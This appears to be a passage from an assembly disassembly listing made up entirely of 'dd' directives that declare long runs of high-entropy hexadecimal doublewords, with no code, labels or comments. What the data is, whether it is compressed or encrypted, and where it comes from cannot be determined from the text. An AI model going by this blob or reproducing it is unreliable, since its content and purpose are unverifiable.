		dd 5843F307h, 0A86B8383h, 63F044h, 0E5CFC824h, 0F96E4398h
		dd 0E05F8912h, 7BCA0406h, 130100A9h, 0D2B4C18Fh, 0FD0926AEh
		dd 0C88A2h, 8E167838h, 9E6B1E0Bh, 0C3FB8056h, 1BF445A8h
		dd 3C2A4C24h, 5601B011h, 8CFD603Eh, 0FA67D4C3h,	8E988754h
		dd 81042C48h, 98E3FB18h, 0A8401200h, 11E68130h,	6751917h
		dd 0EA31DA7Ah, 701259B4h, 4B02C036h, 8410604Bh,	48883724h
		dd 10ED4884h, 0C8A70092h, 8947963h, 1E8F220Ch, 6E3C441h
		dd 0CFF1155Ah, 340F70E0h, 7DFE45Eh, 8560D054h, 7BAE5055h
		dd 0BF7100B1h, 6AAD17B3h, 2B3E87E1h, 22B4C9A0h,	517A0305h
		dd 31C7E0BDh, 0EE8597E0h, 8178FC38h, 7AF302D2h,	0E0FB539Ah
		dd 9966FAh, 0EA1001CFh,	0C3C15DD8h, 1D5B8600h, 0B9D3E4F5h
		dd 0F413C16h, 34F6252Dh, 80E52A0Fh, 0D16815FAh,	0D4AE3B49h
		dd 88A71280h, 85BD581Dh, 2C03E57Dh, 25348762h, 0BF5B9AFh
		dd 609A78ECh, 7D1A4024h, 0A87A729Fh, 2510DC61h,	88076ACh
		dd 0CD2A06E5h, 43EAABD6h, 0F02E300h, 5571B7F8h,	78040CA8h
		dd 1AA0F6D5h, 7DF2FE0Ch, 7E673857h, 987A0774h, 9609F7C1h
		dd 0A714B1A2h, 3034118Dh, 353B317Bh, 0D871D5h, 0AE83F95Fh
		dd 0BBF39F2Dh, 41408571h, 90670045h, 162C5739h,	79CEF768h
		dd 6244E0E0h, 3B1696Ch,	0BBF44E59h, 391B8288h, 88710DACh
		dd 4EABE0h, 3AE2A805h, 0BE9E538Dh, 1148D0F0h, 1E4C18C0h
		dd 0A31D1390h, 44390083h, 0D11FFEC9h, 0E000DF98h, 2A3B163Ah
		dd 149C5402h, 0D410F0D9h, 7F15B287h, 1E48204Ch,	17014B7Ch
		dd 85DE72CFh, 0A2305B8Dh, 9C623AB8h, 0A0804103h, 83C394F2h
		dd 0E74CB100h, 47E873DAh, 0FBE20EF9h, 86614002h, 0C017F675h
		dd 0A754A2E6h, 0CD00E7A8h, 0F5F4ED4h, 23A11Fh, 0DE6A9884h
		dd 0F3A285A8h, 0E6EE29C0h, 0C1CEC3h, 23F9B2FFh,	0C92CFDBBh
		dd 10A0EF13h, 0A9322A00h, 4B10Bh, 3C650AB2h, 0E6609E78h
		dd 0B6A898C7h, 9F8AC50h, 2095498Fh, 16A3FA03h, 40E5682Fh
		dd 9DCA17C8h, 87066D7Bh, 0E10DD654h, 0C848F948h, 8ADA8807h
		dd 0E8AE0916h, 0E0A6330Eh, 0D1702889h, 73A73C1Bh, 0FA7FDD8Ch
		dd 0A0901859h, 35E26201h, 3F0A947Ch, 22E29E4h, 0B78E6BFAh
		dd 2848C681h, 0FE6069D3h, 5A4B3039h, 60150B12h,	310035CEh
		dd 0EE9CABD7h, 2B33D601h, 25C89A89h, 34624886h,	7900383Ch
		dd 0F751CB43h, 5412FBh,	261477B9h, 876CB5EAh, 930CFDE4h
		dd 0D135F55Fh, 0FCE154ACh, 395008Ch, 0D2B20FEFh, 300022B6h
		dd 1FE40581h, 0D19187h,	6BFE7962h, 0F3042A58h, 0F8933200h
		dd 0F94E0DE0h, 18F6B066h, 0D11BDB85h, 8C7F5CDEh, 4DB87D02h
		dd 48BD7377h, 0E874AE0h, 0C15C88FCh, 0EE1A3AEh,	0F14EBB28h
		dd 229Ah, 33A95F4h, 72A5B51Eh, 0E11A060Ch, 49BC7F67h, 9B004B77h
		dd 104549C2h
		dd 54AAFF59h, 1D72A880h, 80BB6374h, 0FD09F6F9h,	41013C04h
		dd 0C58D1569h, 1080356Bh, 0E5C056D0h, 6260A4E8h, 14D5220h
		dd 0F591003Bh, 9A88B44Ch, 32069FA3h, 33ECE66Fh,	6D7049h
		dd 84F9C428h, 9E14D542h, 0CD714907h, 0CB8A7B21h, 82FD410Fh
		dd 0C16284DBh, 0C0FF9D7Eh, 0C07270DCh, 6CCB1F81h, 800BE297h
		dd 1DFF7Eh, 95173A7Ch, 69420074h, 649E5935h, 0EB07313Ch
		dd 8ABBDFC2h, 7FCCB232h, 90CB0800h, 99C00CFFh, 0BFF50BC7h
		dd 80CF00A0h, 338C5631h, 0FB507344h, 0E40088CBh, 0C89B0463h
		dd 2A68ACh, 0BA771BA7h,	7C510A49h, 384EDF03h, 0C07FFACCh
		dd 25658Eh, 0F2174268h,	0AF4CAB88h, 1B6FA12Eh, 3C5F0E01h
		dd 9FF8F93Dh, 0F61C00F4h, 0A9EE65B1h, 88018CC8h, 0C4BD4381h
		dd 23E0F092h, 18CE6006h, 6D4D2EEEh, 45B02200h, 0F6C3DE5Dh
		dd 78CD6036h, 251298C7h, 0C47B3D00h, 68B1A94Fh,	4B80C0Fh
		dd 0C8889C5Ch, 0AC145B19h, 52E83268h, 7722001Dh, 60D4119Fh
		dd 26001F02h, 51DA28DFh, 1FF69E4h, 0D28E15D6h, 0ED420476h
		dd 0AC488089h, 2F901732h, 0B9A5611Fh, 0C0F29AC9h, 0BCE4D9A1h
		dd 0F17F403h, 0D24279h,	43A0AB20h, 0C216084Ch, 95B34817h
		dd 90B89A00h, 0CB2479Ah, 0ABFFA9E5h, 86300451h,	8BB7B987h
		dd 5150D7Dh, 0F0212A8Dh, 94024AD0h, 7A848ADh, 0CB94A008h
		dd 0B2F98Bh, 0C0803304h, 214BDDCAh, 0C3399B60h,	632C5A4h
		dd 22725D65h, 0D88619C0h, 0A5456200h, 168ACEF8h, 7A70003Dh
		dd 0F53C8D89h, 0A948B99Eh, 105C03F4h, 1C09229Bh, 8115A379h
		dd 1E345D4Bh, 0CD47C0E2h, 6030440Bh, 682B8084h,	0DD6B26A3h
		dd 4A6FC631h, 0F400F18Eh, 7E757369h, 723303h, 0B69E54A4h
		dd 0EF610659h, 0E5C880h, 6E5F906Bh, 5BE1C0C2h, 0D418D60h
		dd 0C1DD0Eh, 47B21052h,	32E3379Fh, 0D6024A00h, 0FF1226A9h
		dd 7388008Dh, 2C8B6804h, 58C6EBE7h, 61B1AFh, 0C0FBC6E1h
		dd 0AD2AE6B0h, 5100FF71h, 332F709Bh, 0F68960CEh, 88985Dh
		dd 0B8BC7E73h, 2FB7C2D4h, 10D2470Ch, 5423917Ah,	61ACA8h
		dd 0D4035BD5h, 0A476B550h, 77809300h, 29A64AC2h, 424909E4h
		dd 0D18791FAh, 401565D1h, 482C8DC4h, 5C001BBFh,	7601D0Ah
		dd 7271AD82h, 3CC07B8h,	506CA550h, 0C2D8F65Bh, 0CAAE1902h
		dd 8A09A9CBh, 92108040h, 9780B890h, 0B86FF4F8h,	85D80C3Dh
		dd 0AA5A05C9h, 0ADC61404h, 468FB500h, 0A2008725h, 0DD4218BCh
		dd 94A7FD9h, 6C8D7B6Fh,	0F41A1C18h, 0FBB0E501h,	367C3445h
		dd 2609630h, 9979AC43h,	50E244DCh, 0A641F4B2h, 0CD68E0F1h
		dd 56BB5504h, 7090DE44h, 0F36311h, 2AC3D95Dh, 0F6851461h
		dd 52B44100h, 0A97EAD1Ch, 6E4D0797h, 7FED9879h,	0B0CCF347h
		dd 82ABE3C1h, 0B11C5400h, 0EE1AE134h, 495206BBh, 40585AB5h
		dd 2E97A200h, 59DDA815h, 0AF03301Fh, 86B48218h,	9DA9C001h
		dd 0ABF1CD04h, 0A4804E10h, 97B5D800h, 9F45FAAFh, 14A900C1h
		dd 0EDB6F8C6h, 0F130A63Eh, 72DE31A1h, 0F0157AE2h, 9EC73101h
		dd 0EB9428h, 811A03A2h,	2161FC54h, 1E769E00h, 0CD2A66A1h
		dd 8F293A9Dh, 881DE07Dh, 0B5B0D883h, 7E364800h,	0D6CF2A14h
		dd 7841F375h, 0E7C405B3h, 52BA1BFFh, 96E039A5h,	64001DFCh
		dd 0B4B0354Eh, 0F0AA0Dh, 579E5E2Fh, 341E30F1h, 0B944FA15h
		dd 838605B0h, 6CC7E92Bh, 9AF0E8E0h, 88720134h, 0FFB41D1Ah
		dd 0CC077071h, 0BFE731C0h, 0F10CD62h, 0E50FF3D6h, 0F1E5268Fh
		dd 318843B6h, 0C4B8DDDBh, 0B8007C71h, 6C51CFB7h, 6BE5317h
		dd 57A68B97h, 2800B084h, 16984538h, 1E6CFD2Ch, 4120173Bh
		dd 0D5EF8D7h, 6D6630E9h, 52E4FF07h, 7676C6FCh, 24090008h
		dd 2FA8122Eh, 802E074h,	511C1541h, 0F6F090B1h, 0B5F40929h
		dd 0ED03C4CAh, 64E071FBh, 0A33A6A35h, 9CACA803h, 998A6700h
		dd 41E465B4h, 873104A2h, 82402C22h, 0E0AECA0Ch,	0C032D5A0h
		dd 0C100310Fh, 1E161998h, 35FE27Bh, 0A708E547h,	4AC0D1ACh
		dd 0D47F82C4h, 0B6074090h, 0D0786BCFh, 12805EF7h, 2AE7CD1Ah
		dd 0CDC153Ah, 595B2D1Fh, 0B067F1B8h, 0BCD006C1h, 0BD40E4h
		dd 92FF2C49h, 2914A2CAh, 799B700h, 0A3D9ABFEh, 0D10B007Fh
		dd 0B85D922Ah, 0D9C1483Dh, 0A2F01435h, 0D085180h, 138CA17Ch
		dd 81B6A039h, 811B4B48h, 0C8501FA6h, 0BBA153Ch,	0F6474C28h
		dd 4F6BA680h, 820CAA9Ch, 0D0AC410Fh, 804C0C9Dh,	0BA80FDB8h
		dd 10AD139h, 0C75C5005h, 0E6ECFA39h, 0B34A01BFh, 19402DA5h
		dd 0B022F0h, 0F5EBA3DDh, 26B1C5FBh, 1DB4B903h, 2720443Eh
		dd 303495BEh, 645EF028h, 42116A00h, 0FCB49850h,	0DE710E5Ah
		dd 7B6104AEh, 44A360E4h, 0A2A840C9h, 7209D52Bh,	0F6B28CA0h
		dd 16F2EE16h, 4FF15606h, 4DB60059h, 693A497Dh, 0BD3E9C30h
		dd 184D5C5h, 81EDCD0h, 0A9008426h, 8EA2E435h, 0C91E2B9Ch
		dd 6810A530h, 0B7007898h, 871A5F34h, 16FF7h, 24C7F5FAh
		dd 666EF358h, 0A56C0618h, 1FAFE358h, 0C04FE5A6h, 2B8EF72h
		dd 7600A3D1h, 48C66379h, 27EC1Dh, 6EC48AE9h, 5A081C18h
		dd 2228C1C1h, 9854B683h, 1D4CC00h, 4D9FC1AFh, 0CA0408AAh
		dd 0D0F303A5h, 114E621Ch, 88E19B02h, 218F987Ah,	0FCAF90C0h
		dd 1000CCD9h, 0B2777EAEh, 0B34DE7h, 0CD609902h,	1C1E1A43h
		dd 91CF3701h, 9FBD88ACh, 0DF15C033h, 0B406985Fh, 99D1451Ah
		dd 0BC7D9200h, 0F4B99802h, 6C080014h, 0B43F0F6Dh, 2892C9FDh
		dd 5A76E91Eh, 0CFB8E102h, 1F604846h, 70CD5029h,	0F888733Bh
		dd 0A75720FFh, 0A5998900h, 9758E820h, 0BBE60093h, 4126A7Ah
		dd 4105E309h, 0CABC3DDAh, 251CD44Eh, 0A045553Eh, 94209CBDh
		dd 14AED690h, 0ABC96175h, 2AA11E79h, 7B364028h,	0AF3DB192h
		dd 0C8E9E300h, 860AA70Ch, 1F250C3Bh, 2C515E3Eh,	5C452E2Ch
		dd 0E8BDE940h, 408E0F89h, 0EBC2C3A5h, 244442DBh, 0C40AA477h
		dd 0EC6F28BDh, 3002422h, 0BC49834Dh, 0C0CA41FCh, 73178C51h
		dd 0EB7EC3D5h, 305841B8h, 0A2330084h, 0B080AD69h, 1844502Ch
		dd 0BBA001ABh, 48ED188Dh, 7407C0F4h, 0E56C7305h, 88406BA6h
		dd 958BBDBAh, 0E300F3Ah, 0AAA1E627h, 407B46ADh,	8FA174CCh
		dd 1547D101h, 0EACC3982h, 27F490E2h, 0A83F481Fh, 23A60C85h
		dd 0DDA87FB4h, 0F102B9F5h, 6243B83h, 0B3C56090h, 29221812h
		dd 319A3901h, 33CD9300h, 0E930C821h, 0FEA10B83h, 3C02F7A2h
		dd 0E8245073h, 0B2CD9C89h, 0EC54FC0h, 0A7148E4Ah, 3EBE9702h
		dd 0DA7168E0h, 0E8FD4800h, 50184CFAh, 70D663FCh, 8FA046C5h
		dd 0CA766F3Ah, 144C5900h, 42634D7h, 7AC1018Ch, 0FFEB0620h
		dd 0B9A2C431h, 0E26AD204h, 2103F83Ah, 8701C88h,	3E24993Eh
		dd 0A0FB80FAh, 1D2574Bh, 0A5BD1FDAh, 0A99340D1h, 0C40E6578h
		dd 73CCCD0Fh, 4ADEA6E2h, 0E62D0C40h, 98C81E9Ah,	0EC071A03h
		dd 0A0050691h, 3DAFE73h, 537D63F9h, 10E6E8C3h, 83894803h
		dd 983DAB71h, 37441CCh,	0CF91ACDBh, 991820A2h, 4F08C93Eh
		dd 5E390FD1h, 2580ADBFh, 0FEA344CFh, 0C6FA1614h, 0B7A51988h
		dd 82DC6D78h, 1F723F3Eh, 41E03D18h, 0AB7AD6B9h,	0A6008E75h
		dd 4C9F1B89h, 0C026933Bh, 376C620h, 3D00D098h, 1EBBD6C2h
		dd 7592A0A2h, 12C11E4Ch, 71404388h, 30E8DD1Fh, 0FE009DA1h
		dd 6AE033A7h, 0A82E8676h, 752BACh, 9766A6C1h, 0C237CC6Eh
		dd 0A420600h, 533BD3BDh, 0B6D100F3h, 671C91DFh,	323EA2F4h
		dd 0B8F8E1ABh, 5C4041D4h
		dd 0FA296D07h, 84BB01DBh, 2DAC1CFAh, 33B84CCFh,	0C3A46700h
		dd 0C9CB7A06h, 77DB0920h, 2C2128EFh, 5057A2CEh,	8978A3A8h
		dd 0AEA92260h, 125EEF8Fh, 1D76335Fh, 7BA80392h,	20005030h
		dd 0E405BD09h, 0E6B16Ah, 79EDBA31h, 0E7B67A04h,	29DCFD02h
		dd 48D88974h, 0ED7AA04h, 0A5A88CDDh, 677543BEh,	0D9C8E62Bh
		dd 45018F81h, 3864E824h, 0BA600E91h, 0E038C74Eh, 147DB170h
		dd 27502007h, 38DA0288h, 0F600FB5Bh, 0D0AB3089h, 85F32483h
		dd 0C8DA2D39h, 33E29443h, 371901FAh, 0D8EC4ADh,	0A496C8C1h
		dd 0AF933C00h, 5F3298A5h, 0B4CE1F85h, 21079899h, 8300527Bh
		dd 4DBA72A0h, 0D9321Bh,	7619152Dh, 0F3FAB962h, 0F2C6B100h
		dd 1BA48C91h, 36FA0Dh, 8677ED2Eh, 6BA0C5D8h, 8B062BFEh
		dd 954072B7h, 0FD320028h, 0FF052231h, 1406C2A2h, 0EDC2724h
		dd 0B7FB1C78h, 5D9D86E4h, 0A209308Dh, 94A3F8h, 0AC5BCA5Fh
		dd 2C56018Ah, 7C21A747h, 8702D443h, 0A65CAD03h,	0E14F1F88h
		dd 8874A26h, 0E06B9593h, 653F98BEh, 57C6F001h, 53625E01h
		dd 960020BBh, 26BAEE1h,	4274B731h, 903257Bh, 3CEDD20Bh
		dd 9AFDB819h, 0AAB00021h, 0D503C71Bh, 290F7285h, 6F2F3E7Fh
		dd 0A6C480ACh, 305A71D4h, 7C8940A1h, 0C78352D6h, 8096B4C2h
		dd 234BBA50h, 313A01CCh, 0CF1BEDB0h, 4F28832Ch,	3E521D34h
		dd 200150C1h, 37D31B5Bh, 56208090h, 34A84413h, 0BF9505F7h
		dd 82FF9320h, 6C805F02h, 0F1A46D0h, 37C9A61Eh, 0D700F22Ch
		dd 95CE8A19h, 0F8213BCBh, 9E917D30h, 8BE0117Ch,	3BF29300h
		dd 821675CEh, 7615EC59h, 66443202h, 192FED70h, 0B102FD98h
		dd 0C6F93423h, 5AB430B9h, 52E1A9F9h, 0F7EF3200h, 8AC0CC27h
		dd 0A179C041h, 0C7060528h, 12311B00h, 8DBE52FFh, 2EE2F65Dh
		dd 0C7AFB14h, 3B68F020h, 52F18F45h, 8A2F4B10h, 38517F60h
		dd 375FC88h, 0EF16F89h,	400106FDh, 0A55C7E74h, 0C0541E91h
		dd 9FFA5400h, 946488h, 3525D6C4h, 0B2EF56B3h, 763B1C06h
		dd 0C978B4h, 3794918Bh,	0DF90E302h, 348C2C1Eh, 0BFADFCC3h
		dd 0F5CE05D5h, 4026A850h, 73BE3FE4h, 7401F8D1h,	1334B79Ch
		dd 91FDD318h, 2311C988h, 0A3C5FF81h, 48805DEEh,	0D12F50F1h
		dd 0D7241B4Bh, 89861C3Fh, 13020EBh, 4191B2BBh, 0F8652AEFh
		dd 1239E2D7h, 97B90052h, 1AB3BEFFh, 0FCB6077Ch,	77A320C0h
		dd 179DCD3h, 7761161Dh,	7FC7600h, 24FDFE6Fh, 455CA25Bh
		dd 804C1D26h, 0A35ED5CCh, 7401F319h, 1D016AD6h,	6EE040B2h
		dd 0F2A930CDh, 92649CA1h, 1B9ADC00h, 5D1541C2h,	3951F49Bh
		dd 1807432Bh, 839FA0FDh, 610AA37Ch, 9833A81Fh, 0C847E680h
		dd 58C235h, 0B97A1CF0h,	60D50EDBh, 91B79B18h, 80225F38h
		dd 9560A95Ah, 0C10573B1h, 1C4A718Ch, 0C38AA120h, 1C7BA55Ah
		dd 9DCB2006h, 78404E0Ah, 44A288BFh, 60572688h, 0D6C1840h
		dd 0EF05DA52h, 7486280Ah, 0B13C781h, 818041DEh,	0D029A0h
		dd 7A205DA2h, 87B5EC15h, 445880EDh, 247CDB57h, 0D8700075h
		dd 4BFE3391h, 1373B23Dh, 71565114h, 0B88A29A4h,	15F5FD00h
		dd 7B9A870h, 9FEC78ACh,	547B0E9h, 6F3B9E99h, 30483Fh, 1D0B2F48h
		dd 31DA3D7Dh, 1F919A7Bh, 44188620h, 20E881C0h, 2F0019DBh
		dd 95A021B0h, 6FE86h, 9DCE4307h, 57789B3h, 0F0FDF602h
		dd 48029BD7h, 81D4A254h, 8AEC5113h, 5A98092h, 6795BC46h
		dd 0EF207CFBh, 22E21980h, 0F1B50B71h, 140FF00h,	0AEE5BB8Eh
		dd 5B6FE02h, 87CD48D2h,	34800209h, 54697610h, 0C100E3B4h
		dd 0F492D4B3h, 30C312h,	19554DF7h, 4AFFFB0Fh, 1D2D0700h
		dd 204CE6C6h, 5DB530FEh, 58F67F39h, 7D0EE700h, 0BF221978h
		dd 3F110028h, 5A52D09Eh, 189A5EA6h, 0A99F7301h,	0DA867561h
		dd 4D7FEFCh, 0E644B2F6h, 3D24CC53h, 87BCC100h, 0B81B814Ch
		dd 91A9E006h, 9A6B0054h, 0EBA6BA86h, 8EC25600h,	5AA308EDh
		dd 0B7333B5Dh, 1509CD4h, 0BF489E8h, 0FCD9A54Bh,	0FB007B8Eh
		dd 0EA4D6E78h, 5AD1776h, 0FCAEFA8Fh, 0B20088A9h, 0BDF4483Dh
		dd 67200D0h, 608C4EA7h,	8E734C2Ch, 355471Fh, 0F92DA20h
		dd 32FA34A1h, 8CB429FCh, 0E0F7FC0Eh, 435BE0C5h,	20D604EBh
		dd 88BB67A2h, 0E81FE9D8h, 0CBC71A40h, 579076EBh, 2B0128Ch
		dd 2A95C892h, 3044A57Ch, 0AE031801h, 9EBF3D1Ah,	5D22434h
		dd 79318088h, 30908709h, 93407D7Eh, 223E1A18h, 520359D1h
		dd 7C09644Ch, 982986A2h, 53FD9818h, 9ED38100h, 34700B97h
		dd 83F499F8h, 29FC3527h, 3580914Ch, 4437C9EFh, 30F12F90h
		dd 9B720027h, 3BA47A0Eh, 64005B6Ch, 0FAE03476h,	0F05133A2h
		dd 107D0FEEh, 1099778Dh, 76099FDFh, 0C193FC80h,	636062Ch
		dd 1B390D4Ah, 8DF639E4h, 7ABC3511h, 0BE3A6500h,	82DF7DC6h
		dd 1C72EA0Eh, 0FBDE5CBBh, 477886FCh, 0C802C83h,	46DF4451h
		dd 7D000D69h, 82732563h, 0F2E3A84Eh, 0D007000Fh, 9AF748D3h
		dd 57005EACh, 5845A9C3h, 7923773h, 41477DF6h, 0E83A60ADh
		dd 0C1C82CB5h, 0F1958042h, 0BC5A1B41h, 3DACBA01h, 47D04B2Ch
		dd 44406DC9h, 1E936E81h, 6A1BEA1Ch, 336F0068h, 3156A9BBh
		dd 0FF605F35h, 0D4167661h, 153219F4h, 0D813B4B5h, 9D00D7E1h
		dd 8DF74B0Dh, 3B5795D8h, 760607BBh, 7199B547h, 10E58900h
		dd 18EE428Ch, 960D00CCh, 7A6D8314h, 6560A99Dh, 2F68428h
		dd 68B80015h, 0CC1D965Ah, 380BECFDh, 80F977E5h,	0CE3A7B58h
		dd 0D0FBA0A5h, 4768A09Ah, 0C93200C5h, 45BB0CF8h, 6A039D57h
		dd 0E436718Fh, 0F4293E66h, 7304E0BFh, 9002BF81h, 79B2E40Ch
		dd 5ED720C0h, 0F03C08B3h, 45CA38D9h, 0D2CB599Eh, 96000080h
		dd 0DD3A7395h, 5680AD78h, 9DB100B5h, 4BC25449h,	0BC0C8D2Dh
		dd 203840FAh, 40C54881h, 2D489480h, 0B460E356h,	0AAAFBE71h
		dd 2B520092h, 28D131D4h, 0CA03161Bh, 73BA5ADEh,	1362034Ah
		dd 5DE46B82h, 400BC901h, 94BAD2B1h, 24E5FFC4h, 3E08A3DDh
		dd 18EFE454h, 3197D245h, 9B14F695h, 80F4FAE5h, 0A77D86A8h
		dd 0B76704B0h, 253FDF42h, 20827201h, 68200194h,	668928D4h
		dd 207A48E8h, 0D94EC5C6h, 28730C01h, 0E6FABB1Ah, 0BD816186h
		dd 3A24213Ch, 5640A0E1h, 3A659215h, 25242DDFh, 817647C0h
		dd 20B91989h, 50846854h, 0EADBF27h, 6B94BB56h, 61E46C83h
		dd 0A4F82105h, 9D87845Fh, 0B757FC00h, 0D0AE6696h, 0C0A1A1B4h
		dd 25F105Eh, 0D0228B3Eh, 0B94A0062h, 565C3A3Fh,	0C53ACC1Eh
		dd 0D1D3005Eh, 0B0B6149Eh, 2EAEE6EAh, 1CDEB60h,	0B947F6D9h
		dd 0B0544799h, 3FDD8E4Fh, 0C8C51E3Dh, 6DBC0270h, 0A04C9D77h
		dd 0E3B3A484h, 26E50090h, 1D44F252h, 0FB9A650Fh, 0A7627806h
		dd 0A1A13A39h, 0A810B44Ch, 0FB008A12h, 11BECD1Bh, 543790h
		dd 0EBAA8663h, 4FE97285h, 81A5B506h, 10414BB9h,	787FF931h
		dd 8B0D8E0Eh, 0F5D822F7h, 0BBC4809Dh, 0DE43F660h, 39539871h
		dd 0C203CFD9h, 6503B3B9h, 0DF89E074h, 204F608Ch, 69C4DB14h
		dd 88C15F02h, 46B74756h, 0D24940C4h, 0BB039113h, 84F60C00h
		dd 49B78135h, 8900F4F5h, 39C430E2h, 2D494AE5h, 44BF3818h
		dd 91E4h, 0EA0A2AA6h, 4F4C0C1Fh, 37F00C38h, 88AD5181h
		dd 94A8B5E4h, 4400714Fh, 0B16DCA33h, 7D61507h, 0B65C96A4h
		dd 0DF8A6045h, 68CF5453h, 72A54069h, 0A06BCF46h, 90DEE60h
		dd 14DF416Ah, 97CF2010h, 1039588h, 96CE1BBAh, 2472943Eh
		dd 0CA07F218h
		dd 0DF7BBC64h, 1B610Ch,	65AAEFB7h, 0CD199A0h, 5539FA01h
		dd 57AE0A42h, 9675BF8h,	6BCE47CDh, 0DC7BCCB1h, 50008571h
		dd 313E97CBh, 24709FC9h, 1804328h, 1558FA83h, 819448E3h
		dd 79743100h, 3511661Fh, 4790A0A4h, 0E43A8064h,	7C307741h
		dd 5C7C1FC1h, 0E881E02Dh, 2C32E3h, 678986DEh, 666D509h
		dd 0AA034158h, 0D895F11Ch, 6D4F2F6h, 0E31BEBEEh, 34A63936h
		dd 900C5B0h, 65EBF0ECh,	609E483Fh, 0E3118904h, 9600C5F5h
		dd 44912C05h, 0A00CC018h, 0B00B25ECh, 0C95704C8h, 0C882E039h
		dd 0DB0C1E18h, 28179D6Ah, 49BB7CE7h, 61223C41h,	188498C9h
		dd 3A21B004h, 410045F5h, 0F7861332h, 0C70F9ADBh, 746089C4h
		dd 0BFAF10B0h, 90425048h, 4318721Dh, 0E2B55890h, 0D515DEB0h
		dd 22ACA348h, 9589185Bh, 7824B9CFh, 2519C801h, 2D5F6A15h
		dd 8EC0A822h, 5B5CAE12h, 0B165D100h, 0B881978Ah, 0D46248B7h
		dd 17807A88h, 0D177E042h, 0BD7686h, 1B321447h, 7E2415BCh
		dd 9B00EAF0h, 85810E0Dh, 0B14F0D8h, 0B7C4BA2Bh,	6596C100h
		dd 83180653h, 329A0EAh,	7F48FE8Eh, 4C6F0ECAh, 7760E37Ch
		dd 166E958Ch, 0FA1B527Ch, 0C831C406h, 60EAB5F1h, 0B94611D3h
		dd 8700AAF5h, 69BF5D3Dh, 7582EB9Bh, 0A05600B2h,	4B500978h
		dd 1C1808C4h, 6138CE89h, 20EA13ABh, 2F6300C0h, 9F8AAE30h
		dd 6FB25601h, 0B87C61E6h, 0EDCE6080h, 0AE8BC34Ch, 0FA3F7B00h
		dd 238355F3h, 0DDB1F48Dh, 8032D058h, 0F355A329h, 56F40123h
		dd 0A7EADB90h, 4B218381h, 0F8E7E8ABh, 1864C0A0h, 69114494h
		dd 5100C48Ah, 6240F98Fh, 500AE4ADh, 0A6829866h,	7F2207ACh
		dd 80C59CCBh, 0F06C4E45h, 0A503F3B0h, 7B824083h, 4B512E0Ah
		dd 5D1701A3h, 0F01EB133h, 6200C950h, 437D2EE5h,	6563B4Ah
		dd 0EA2F0544h, 7B3361A1h, 0C34F4145h, 7952D895h, 949C0F53h
		dd 0B2A7ADFEh, 98CCDF97h, 0EA1C0D29h, 0C5C15FFDh, 0C762749Fh
		dd 58C84FD4h, 63000A58h, 93057E9h, 84A8857Ah, 7CA05094h
		dd 79607B08h, 90A66019h, 9759CF0Fh, 8EEDEBA3h, 51098B98h
		dd 1C23C106h, 3193A7h, 419C396Bh, 3EE6AF76h, 50081ECh
		dd 0EAE5A307h, 0E84C8055h, 0CB603CBDh, 0A2EB290Ch, 0C2008CE9h
		dd 0ECAC3505h, 37DBE218h, 40785C32h, 0A2AB5A33h, 6880F037h
		dd 304DFD00h, 3A1800C9h, 0C0983B0Fh, 1C731B06h,	7C92D414h
		dd 91551DF8h, 599AC500h, 1DB953h, 8FF3FD9Dh, 2F7119B8h
		dd 8EA6610Ch, 0EDA7E10Ch, 1D33C980h, 7FD39784h,	0DA78B3A0h
		dd 81F34A00h, 0DC5108AEh, 8C665223h, 7C024401h,	43A0F5F4h
		dd 46E478A0h, 0A3E12694h, 4C706E5Ch, 0C4B0007Fh, 0D42A62C0h
		dd 1B7A0600h, 0EABF598Dh, 8AA73310h, 7889941h, 4A3C2D2Eh
		dd 232B0FD2h, 0CDEA06EEh, 9D150059h, 0A0BD4E21h, 59006AD2h
		dd 44633180h, 3D5E298h,	0CA2F0229h, 0C0AE4D0Eh,	0C2918D00h
		dd 0AAF26D43h, 2F1507E1h, 0C8CA616h, 6B1D2EB9h,	0A0705D5Ah
		dd 910CFA67h, 8FEB80F8h, 0AD1ACC98h, 8D245F06h,	1418B1C2h
		dd 7828942Eh, 62C6C407h, 87117C83h, 0BEF8F0Eh, 0A58B61A2h
		dd 718A0185h, 53005F9h,	5EFAA37Fh, 0EA2D03F4h, 1983C834h
		dd 2A744CE8h, 0BB4E1701h, 8C8E097Eh, 1DA929A0h,	0B9102095h
		dd 1346C185h, 0A7BC200Bh, 28C0CB52h, 409C696h, 0FC9D00E9h
		dd 7D4AACC0h, 97EC3BA6h, 0A51EFA06h, 3081D48Eh,	236186A7h
		dd 0A103ACDFh, 4351249Eh, 0D019507Dh, 0D06A880Fh, 0ABD15400h
		dd 0F112C0EDh, 7CA31B55h, 0F2B82107h, 4D004206h, 0C2393524h
		dd 48056884h, 0A522F86Bh, 0A10E1E77h, 80E0A0ACh, 0BDFB5D71h
		dd 984E0EBEh, 3854944Fh, 44C9F306h, 77DF050h, 8BEE7A0Ah
		dd 57C04CC3h, 4C62604Fh, 44146041h, 7C569E32h, 9F31F93Ch
		dd 0C293A539h, 0CB0F0C82h, 0A6324E20h, 1A2A1294h, 92CC5E02h
		dd 85CD1E61h, 27A2A9C6h, 74C400E8h, 0F71E7EDBh,	1970A323h
		dd 44B324h, 6236C1D9h, 8D67EC0Ah, 0C52E3Eh, 9C06FE8Ah
		dd 0C4A7324Bh, 9055668h, 90810A2h, 0D41A004Ah, 0B64CD693h
		dd 0C0010B57h, 8D899427h, 21D2A7CEh, 6A1D9540h,	4B27F100h
		dd 50383080h, 483DEAF2h, 586328E3h, 0E1148204h,	2284CB0Bh
		dd 83F4A1A3h, 62268432h, 7C9E00DFh, 94A58AB0h, 7F044E58h
		dd 60EAD140h, 501939A9h, 71F83136h, 0D3095200h,	4488C182h
		dd 9FFD0014h, 439739CEh, 0D0A8067Ch, 0FF02C509h, 2BE46AF1h
		dd 0BF84C073h, 680A4884h, 8EEB7600h, 82092480h,	0B97186E1h
		dd 4018EAAEh, 0D2416431h, 548B6820h, 2451989Ch,	14F02A57h
		dd 2102FC6Bh, 3691A5E8h, 0E92E94A2h, 7C0CDCC4h,	0C229F6DAh
		dd 0F8EC5085h, 0DD0100C1h, 0EAC4FC37h, 31F02F1Bh, 40A3E03h
		dd 0A2F9BB19h, 0A004E662h, 339AB78h, 4C96E78Fh,	0B87C3DF2h
		dd 9C2610B1h, 5C0BC06Eh, 86191Ch, 8E539651h, 627BB1BDh
		dd 0FA3F2492h, 0BF6D83A4h, 0B0EC58DAh, 28BC78h,	0BB72DE15h
		dd 4A9EC84Dh, 3007A324h, 9D111380h, 281993EFh, 50907F0Ch
		dd 4170D456h, 0D4C021C4h, 46B06BA8h, 0F9EC8450h, 10380348h
		dd 0ED280F88h, 9FB1C0A2h, 85BA7516h, 0CD8A6D07h, 0AE40F99Ch
